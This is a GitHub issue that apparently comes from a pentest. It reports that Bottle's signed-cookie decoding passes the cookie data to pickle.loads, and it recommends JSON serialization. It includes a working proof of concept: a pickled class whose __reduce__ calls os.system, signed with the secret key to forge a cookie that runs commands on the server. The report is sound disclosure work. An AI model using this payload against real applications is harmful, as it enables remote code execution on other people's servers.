Skip to content

Deserialization security issues when using signed cookies  #900

@dorneanu

Description

@dorneanu

Hi,

during a pentest of a Bottlepy based application, I've noticed that when using signed cookies, cookie_decode is being called:

def cookie_decode(data, key, digestmod=None):
      """ Verify and decode an encoded string. Return an object or None."""
      data = tob(data)
      if cookie_is_encoded(data):
          sig, msg = data.split(tob('?'), 1)
          digestmod = digestmod or hashlib.sha256
          hashed = hmac.new(tob(key), msg, digestmod=digestmod).digest()
          if _lscmp(sig[1:], base64.b64encode(hashed)):
              return pickle.loads(base64.b64decode(msg))
      return None 

When the hash value of the cookie data is valid, pickle.loads() gets involved. An attacker could therefore build a cookie value like this:

[...]

secret_key = "your secret key"

# --- Exploit class to be serialized
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('ls',))

def build_exploit():
    digestmod = hashlib.sha256
    msg = base64.b64encode(cPickle.dumps(Exploit()))
    hashed = hmac.new(tob(secret_key), msg, digestmod=digestmod).digest()
    return "!%s?%s" % (base64.b64encode(hashed), msg)

In this case build_exploit() will return a base64 encoded serialized string (hash value + serialized class) which will trigger the execution of os.system("ls") when being deserialized (pickle.loads()).

You can of course use this kind of attack only when you know the secret key used for the signing process.

You should definitely avoid using cPickle and use some JSON based alternatives for the serialization job.

Best regards,
Victor

Metadata

Metadata

Assignees

No one assigned

    Labels

    ChangeNeigher a bug nor a freature, but something that needs to be addressed.

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions